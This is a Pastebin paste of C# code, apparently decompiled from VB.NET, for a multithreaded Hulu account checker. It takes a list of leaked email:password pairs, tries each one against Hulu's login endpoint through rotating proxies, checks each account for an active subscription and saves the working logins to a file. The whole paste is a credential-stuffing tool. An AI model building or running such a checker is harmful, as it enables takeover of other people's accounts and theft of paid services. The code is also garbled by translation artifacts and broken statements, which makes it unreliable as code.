Advertisement
DustinHailie

Untitled

May 12th, 2019
1,350
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 21.10 KB | None | 0 0
  1. using Microsoft.VisualBasic.CompilerServices;
  2. using System.IO;
  3. using System.Runtime.CompilerServices;
  4. using System.Runtime.InteropServices;
  5. using System.Threading;
  6. using xNet;
  7. using System.Text.RegularExpressions;
  8. public class Form1 {
  9.    
  10.    public string str;
  11.    
  12.    private bool dragging;
  13.    
  14.    private Point offset;
  15.    
  16.    private string run_status;
  17.    
  18.    private string date1;
  19.    
  20.    public int ComboListLength;
  21.    
  22.    public int ProxyListLength;
  23.    
  24.    public int GoodCount;
  25.    
  26.    public int ErrorCount;
  27.    
  28.    public int int_4;
  29.    
  30.    public int TestedCount;
  31.    
  32.    public int AccountsRemaining;
  33.    
  34.    public int int_7;
  35.    
  36.    public object object_0;
  37.    
  38.    private Point poComboListLength;
  39.    
  40.    public ProxyType proxyType_0;
  41.    
  42.    public Queue queue_0;
  43.    
  44.    public Random random_0;
  45.    
  46.    private List<string> ComboList;
  47.    
  48.    private List<string> ProxyList;
  49.    
  50.    public string[] string_2;
  51.    
  52.    public string[] string_3;
  53.    
  54.    private string string_5;
  55.    
  56.    public Thread[] thread_0;
  57.    
  58.    public string pass;
  59.    
  60.    public string user;
  61.    
  62.    private string testfile;
  63.    
  64.    private bool bool_6;
  65.    
  66.    private int int_6;
  67.    
  68.    public Form1() {
  69.        this.object_0 = RuntimeHelpers.GetObjectValue(new object());
  70.        this.random_0 = new Random();
  71.        object Me.string_2;
  72.        object Me.string_3;
  73.        this.string_5 = "";
  74.        string startupPath = Application.StartupPath;
  75.        DateTime now = DateTime.Now;
  76.        this.testfile = string.Concat(startupPath, "\\Results\\Good_", now.ToString("M-d-yyyy_h-m"), ".txt");
  77.        this.InitializeComponent();
  78.        Control.CheckForIllegalCrossThreadCalls = false;
  79.        this.text_proxyType.SelectedIndex = 0;
  80.        this.ComboList = new List<string>();
  81.        this.ProxyList = new List<string>();
  82.    }
  83.    
  84.    public void AutoSaveHits() {
  85.        IEnumerator enumerator = null;
  86.        Using;
  87.        ((System.IO.StreamWriter)(streamWriter)) = new System.IO.StreamWriter(this.testfile);
  88.        try {
  89.            enumerator = this.ListView1.Items.GetEnumerator();
  90.            while (enumerator.MoveNext()) {
  91.                ListViewItem current;
  92.                enumerator.Current;
  93.                ListViewItem;
  94.                streamWriter.WriteLine(string.Concat(new string[] {
  95.                                current.Text,
  96.                                ":",
  97.                                current.SubItems(1).Text,
  98.                                "|Subscription:",
  99.                                current.SubItems(2).Text}));
  100.            }
  101.            
  102.        }
  103.        
  104.        streamWriter.Close();
  105.    }
  106. }
  107. Subpublic delegate void VBAnonymousDelegate_0();
  108. Endclass Unknown {
  109. }
  110.  
  111.    
  112.    [DllImport("urlmon.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
  113.    private static int CoInternetSetFeatureEnabled(int int_8, int int_9, bool bool_0) {
  114.    }
  115.    
  116.    private void Label2_Click(object sender, EventArgs e) {
  117.    }
  118.    
  119.    private void Label3_Click(object sender, EventArgs e) {
  120.        WindowState = FormWindowState.Minimized;
  121.    }
  122.    
  123.    private void Form1_FormClosed(object sender, FormClosedEventArgs e) {
  124.        Application.Exit();
  125.    }
  126.    
  127.    private void Panel1_MouseDown(object sender, MouseEventArgs e) {
  128.        if ((e.Button == System.Windows.Forms.MouseButtons.Left)) {
  129.            this.bool_6 = true;
  130.            this.int_6 = (Control.MousePosition.X - this.Location.X);
  131.            this.int_7 = (Control.MousePosition.Y - this.Location.Y);
  132.        }
  133.        
  134.    }
  135.    
  136.    private void Panel1_MouseMove(object sender, MouseEventArgs e) {
  137.        if (this.bool_6) {
  138.            int x = (Control.MousePosition.X - this.int_6);
  139.            Point mousePosition = Control.MousePosition;
  140.            Point point = new Point(x, (mousePosition.Y - this.int_7));
  141.            this.Location = point;
  142.        }
  143.        
  144.    }
  145.    
  146.    private void Panel1_MouseUp(object sender, MouseEventArgs e) {
  147.        this.bool_6 = false;
  148.    }
  149.    
  150.    [DllImport("Gdi32.dll", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
  151.    private static IntPtr CreateRoundRectRgn(int int_8, int int_9, int ProxyListLength0, int ProxyListLength1, int ProxyListLength2, int ProxyListLength3) {
  152.    }
  153.    
  154.    public string GenerateRandomString(ref int iLength) {
  155.        System.Random random = new System.Random();
  156.        char[] charArray = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLOMNOPQRSTUVWXYZ0123456789".ToCharArray();
  157.        string str = "";
  158.        int num = (iLength - 1);
  159.        int num1 = 0;
  160.        for (
  161.        ; (num1 <= num);
  162.        ) {
  163.            str = string.Concat(str, Conversions.ToString(charArray[random.Next(0, int.Parse(charArray.Length))]));
  164.            num1 = (num1 + 1);
  165.        }
  166.        
  167.        return str;
  168.    }
  169.    
  170.    private void Button1_Click(object sender, EventArgs e) {
  171.        List<string> enumerator;
  172.        (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
  173.         + Enumerator[]);
  174.        this.ComboList.Clear();
  175.        System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
  176.        // With...
  177.        RestoreDirectory = true;
  178.        Multiselect = false;
  179.        Filter = "Combo List (*.txt)|*.txt";
  180.        FilterIndex = 1;
  181.        openFileDialog.ShowDialog();
  182.        if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
  183.            List<string> strs = new List<string>();
  184.            Using;
  185.            ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
  186.            while ((streamReader.Peek() != -1)) {
  187.                strs.Add(streamReader.ReadLine());
  188.            }
  189.            
  190.        }
  191.        
  192.        try {
  193.            enumerator = strs.GetEnumerator();
  194.            while (enumerator.MoveNext()) {
  195.                string current = enumerator.Current;
  196.                try {
  197.                    this.ComboList.Add(current);
  198.                }
  199.                catch (System.Exception exception) {
  200.                }
  201.                
  202.            }
  203.            
  204.        }
  205.        finally {
  206.            enumerator;
  207.            IDisposable;
  208.            Dispose();
  209.        }
  210.        
  211.        this.ComboListLength = this.ComboList.Count;
  212.        this.AccountsRemaining = this.ComboListLength;
  213.        this.ComboCountLabel.Text = this.ComboListLength.ToString();
  214.        this.TestedCount = 0;
  215.    }
  216.    
  217.    private void Button4_Click(object sender, EventArgs e) {
  218.        List<string> enumerator;
  219.        (// TODO: Warning!!!! NULL EXPRESSION DETECTED...
  220.         + Enumerator[]);
  221.        this.ProxyList.Clear();
  222.        System.Windows.Forms.OpenFileDialog openFileDialog = new System.Windows.Forms.OpenFileDialog();
  223.        // With...
  224.        RestoreDirectory = true;
  225.        Multiselect = false;
  226.        Filter = "Proxy List (*.txt)|*.txt";
  227.        FilterIndex = 1;
  228.        openFileDialog.ShowDialog();
  229.        if ((Operators.CompareString(openFileDialog.FileName, null, false) > 0)) {
  230.            List<string> strs = new List<string>();
  231.            Using;
  232.            ((System.IO.StreamReader)(streamReader)) = new System.IO.StreamReader(openFileDialog.FileName);
  233.            while ((streamReader.Peek() != -1)) {
  234.                strs.Add(streamReader.ReadLine());
  235.            }
  236.            
  237.        }
  238.        
  239.        try {
  240.            enumerator = strs.GetEnumerator();
  241.            while (enumerator.MoveNext()) {
  242.                string current = enumerator.Current;
  243.                try {
  244.                    this.ProxyList.Add(current);
  245.                }
  246.                catch (System.Exception exception) {
  247.                }
  248.                
  249.            }
  250.            
  251.        }
  252.        finally {
  253.            enumerator;
  254.            IDisposable;
  255.            Dispose();
  256.        }
  257.        
  258.        this.ProxyListLength = this.ProxyList.Count;
  259.        this.ProxyCountLbl.Text = this.ProxyListLength.ToString();
  260.    }
  261.    
  262.    public void method_6() {
  263.        int int4 = (this.int_4 - 1);
  264.        for (int i = 0; (i <= int4); i = (i + 1)) {
  265.            this.thread_0(i) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
  266.            this.thread_0(i).IsBackground = true;
  267.            this.thread_0(i).Abort();
  268.        }
  269.        
  270.    }
  271.    
  272.    public static string smethod_0(string string_6, string string_7, string string_8) {
  273.        string value;
  274.        try {
  275.            value = Regex.Match(string_6, (string_7 + ("(.*?)" + string_8))).Groups[1].Value;
  276.        }
  277.        catch (Exception ex) {
  278.        }
  279.        
  280.        return value;
  281.    }
  282.    
  283.    public void method_5() {
  284.        if (string.Equals(this.run_status, "running")) {
  285.            string proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
  286.            while ((this.queue_0.Count > 0)) {
  287.                object objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
  288.                bool flag = false;
  289.                object objectValue2;
  290.                string text;
  291.                try {
  292.                    object expr_4C = RuntimeHelpers.GetObjectValue(objectValue);
  293.                    objectValue2 = RuntimeHelpers.GetObjectValue(expr_4C);
  294.                    Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_4C), flag);
  295.                    try {
  296.                        text = this.queue_0.Peek().ToString().TrimEnd(new char[] {
  297.                                    "\r"}).Trim();
  298.                        this.queue_0.Dequeue();
  299.                    }
  300.                    catch (Exception expr_94) {
  301.                    }
  302.                    finally {
  303.                        if (flag) {
  304.                            Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
  305.                        }
  306.                        
  307.                    }
  308.                    
  309.                    string[] array = text.Split(new char[] {
  310.                                ":",
  311.                                c});
  312.                    try {
  313.                        HttpRequest httpRequest = new HttpRequest();
  314.                        httpRequest.Proxy = ProxyClient.Parse(this.proxyType_0, proxyAddress);
  315.                        CookieDictionary cookies = new CookieDictionary(false);
  316.                        httpRequest.Cookies = cookies;
  317.                        httpRequest.IgnoreProtocolErrors = true;
  318.                        httpRequest.ConnectTimeout = 25000;
  319.                        httpRequest.AllowAutoRedirect = true;
  320.                        httpRequest.KeepAlive = true;
  321.                        httpRequest.UserAgent = Http.ChromeUserAgent();
  322.                        Form1.smethod_0(httpRequest.Get("https://www.hulu.com/api/3.0/generate_csrf_value?for_hoth=true&path=/v2/web/password/authenticate", null).ToString(), "data-reactid=\"36\"/><input type=\"hidden\" name=\"authURL\" value=\"", "\" data-reactid");
  323.                        httpRequest.AddParam("csrf", httpRequest.Cookies["_tcv"]);
  324.                        httpRequest.AddParam("user_email", array[0]);
  325.                        httpRequest.AddParam("password", array[1]);
  326.                        if (httpRequest.Post("https://auth.hulu.com/v2/web/password/authenticate").ToString().Contains("{}")) {
  327.                            string text2 = httpRequest.Get(string.Concat(new string[] {
  328.                                            "https://secure.hulu.com/api/3.0/subscriber/account_page_info?_user_pgid=",
  329.                                            httpRequest.Cookies["_hulu_pgid"],
  330.                                            "&_content_pgid=29635&_device_id=1®ion=us&locale=en&language=en&zzuser_id=",
  331.                                            httpRequest.Cookies["_hulu_uid"],
  332.                                            "&zzcb=18110971"}), null).ToString();
  333.                            if (!text2.Contains("has_active_subscription\": true,")) {
  334.                                goto IL_458;
  335.                            }
  336.                            
  337.                            str = "Active Subscription";
  338.                            objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
  339.                            bool flag2 = false;
  340.                            try {
  341.                                object expr_269 = RuntimeHelpers.GetObjectValue(objectValue);
  342.                                objectValue2 = RuntimeHelpers.GetObjectValue(expr_269);
  343.                                Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_269), flag2);
  344.                                array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
  345.                                string[] array2 = text.Split(new char[] {
  346.                                            ":",
  347.                                            c});
  348.                                user = array2[0];
  349.                                pass = array2[1];
  350.                                this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
  351.                                this.GoodCount++;
  352.                                this.TestedCount++;
  353.                                this.AccountsRemaining--;
  354.                                this.AutoSaveHits();
  355.                                // TODO: Continue While... Warning!!! not translated
  356.                            }
  357.                            finally {
  358.                                if (flag2) {
  359.                                    Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
  360.                                }
  361.                                
  362.                            }
  363.                            
  364.                            if (text2.Contains("has_active_subscription\": true,")) {
  365.                                str = "Active Subscription";
  366.                            }
  367.                            else {
  368.                                str = "Free";
  369.                            }
  370.                            
  371.                            objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
  372.                            bool flag3 = false;
  373.                            try {
  374.                                object expr_371 = RuntimeHelpers.GetObjectValue(objectValue);
  375.                                objectValue2 = RuntimeHelpers.GetObjectValue(expr_371);
  376.                                Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_371), flag3);
  377.                                array.Resize(Of, String)[this.string_2, (this.GoodCount + 1)];
  378.                                string[] array3 = text.Split(new char[] {
  379.                                            ":",
  380.                                            c});
  381.                                user = array3[0];
  382.                                pass = array3[1];
  383.                                this.string_2(this.GoodCount) = (text + (" |Subscription = "
  384.                                            + (str + "\r\n")));
  385.                                this.ListView1.BeginInvoke(new Form1.VBAnonymousDelegate_0(Sub, (Unknown, Dim, listViewItemAsListViewItem=NewListViewItem(Unknown, listViewItem.Text=user, listViewItem.SubItems.Add(pass), listViewItem.SubItems.Add(str), this.ListView1.Items.Add(listViewItem), End, Sub));
  386.                                this.GoodCount++;
  387.                                this.TestedCount++;
  388.                                this.AccountsRemaining--;
  389.                                this.AutoSaveHits();
  390.                                // TODO: Continue While... Warning!!! not translated
  391.                            }
  392.                            finally {
  393.                                if (flag3) {
  394.                                    Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
  395.                                }
  396.                                
  397.                            }
  398.                            
  399.                        }
  400.                        
  401.                    IL_458:
  402.                        objectValue = RuntimeHelpers.GetObjectValue(this.object_0);
  403.                        bool flag4 = false;
  404.                        try {
  405.                            object expr_46D = RuntimeHelpers.GetObjectValue(objectValue);
  406.                            objectValue2 = RuntimeHelpers.GetObjectValue(expr_46D);
  407.                            Monitor.Enter(RuntimeHelpers.GetObjectValue(expr_46D), flag4);
  408.                            this.ErrorCount++;
  409.                        }
  410.                        finally {
  411.                            if (flag4) {
  412.                                Monitor.Exit(RuntimeHelpers.GetObjectValue(objectValue2));
  413.                            }
  414.                            
  415.                        }
  416.                        
  417.                        this.TestedCount++;
  418.                        this.AccountsRemaining--;
  419.                    }
  420.                    catch (Exception arg_4CF_0) {
  421.                        this.int_7++;
  422.                        this.queue_0.Enqueue(text);
  423.                        proxyAddress = this.ProxyList(this.random_0.Next(0, this.ProxyListLength));
  424.                    }
  425.                    
  426.                }
  427.                
  428.                if ((this.TestedCount == this.ComboListLength)) {
  429.                    this.method_6();
  430.                }
  431.                
  432.            }
  433.            
  434.        }
  435.        
  436.    }
  437.    
  438.    void Button2_Click(object sender, EventArgs e) {
  439.        if ((Operators.CompareString(this.Button2.Text, "S t a r t", false) != 0)) {
  440.            this.run_status = "stopping";
  441.        }
  442.        else {
  443.            try {
  444.                if ((this.ComboListLength == 0)) {
  445.                    
  446.                }
  447.                else if ((this.ProxyListLength != 0)) {
  448.                    if (!Directory.Exists(string.Concat(new string[] {
  449.                                    "Results\\"}))) {
  450.                        Directory.CreateDirectory(string.Concat(new string[] {
  451.                                        "Results\\"}));
  452.                    }
  453.                    
  454.                    this.run_status = "running";
  455.                    this.text_proxyType.Enabled = false;
  456.                    this.TextBox1.Enabled = false;
  457.                    switch (this.text_proxyType.SelectedIndex) {
  458.                        case 0:
  459.                            this.proxyType_0 = ProxyType.Http;
  460.                            break;
  461.                            break;
  462.                        case 1:
  463.                            this.proxyType_0 = ProxyType.Socks4;
  464.                            break;
  465.                            break;
  466.                        case 2:
  467.                            this.proxyType_0 = ProxyType.Socks5;
  468.                            break;
  469.                            break;
  470.                        default:
  471.                            MessageBox.Show("Choose Proxy type");
  472.                            return;
  473.                            break;
  474.                    }
  475.                    this.Timer1.Start();
  476.                    this.GoodCount = 0;
  477.                    this.ErrorCount = 0;
  478.                    this.string_2 = null;
  479.                    this.string_3 = null;
  480.                    this.TestedCount = 0;
  481.                    this.int_7 = 0;
  482.                    this.AccountsRemaining = this.ComboListLength;
  483.                    this.queue_0 = new Queue();
  484.                    int comboListLength = (this.ComboListLength - 1);
  485.                    int num = 0;
  486.                    for (
  487.                    ; (num <= comboListLength);
  488.                    ) {
  489.                        this.queue_0.Enqueue(this.ComboList(num));
  490.                        num = (num + 1);
  491.                    }
  492.                    
  493.                    this.int_4 = Convert.ToInt32(this.TextBox1.Text);
  494.                    object Me.thread_0;
  495.                    int int4 = (this.int_4 - 1);
  496.                    int num1 = 0;
  497.                    for (
  498.                    ; (num1 <= int4);
  499.                    ) {
  500.                        this.thread_0(num1) = new Thread(new ThreadStart(new System.EventHandler(this.method_5)));
  501.                        this.thread_0(num1).IsBackground = true;
  502.                        this.thread_0(num1).Start();
  503.                        num1 = (num1 + 1);
  504.                    }
  505.                    
  506.                    this.Timer1.Enabled = true;
  507.                    this.Button2.Text = "S t o p";
  508.                }
  509.                else {
  510.                    
  511.                }
  512.                
  513.            }
  514.            catch (System.Exception exception) {
  515.            }
  516.            
  517.        }
  518.        
  519.    }
  520.    
  521.    private void Timer1_Tick(object sender, EventArgs e) {
  522.        this.HitsCountLabel.Text = this.GoodCount.ToString();
  523.        this.TestCountLabel.Text = this.TestedCount.ToString();
  524.        if ((Operators.CompareString(this.run_status, "stopping", false) == 0)) {
  525.            int int4 = (this.int_4 - 1);
  526.            for (int i = 0; (i <= int4); i = (i + 1)) {
  527.                if (!this.thread_0(i).IsAlive) {
  528.                    this.Button2.Text = "S t a r t";
  529.                    this.text_proxyType.Enabled = true;
  530.                    this.TextBox1.Enabled = true;
  531.                    this.Timer1.Stop();
  532.                    this.run_status = "Idle";
  533.                }
  534.                else {
  535.                    this.thread_0(i).Abort();
  536.                }
  537.                
  538.            }
  539.            
  540.        }
  541.        
  542.    }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement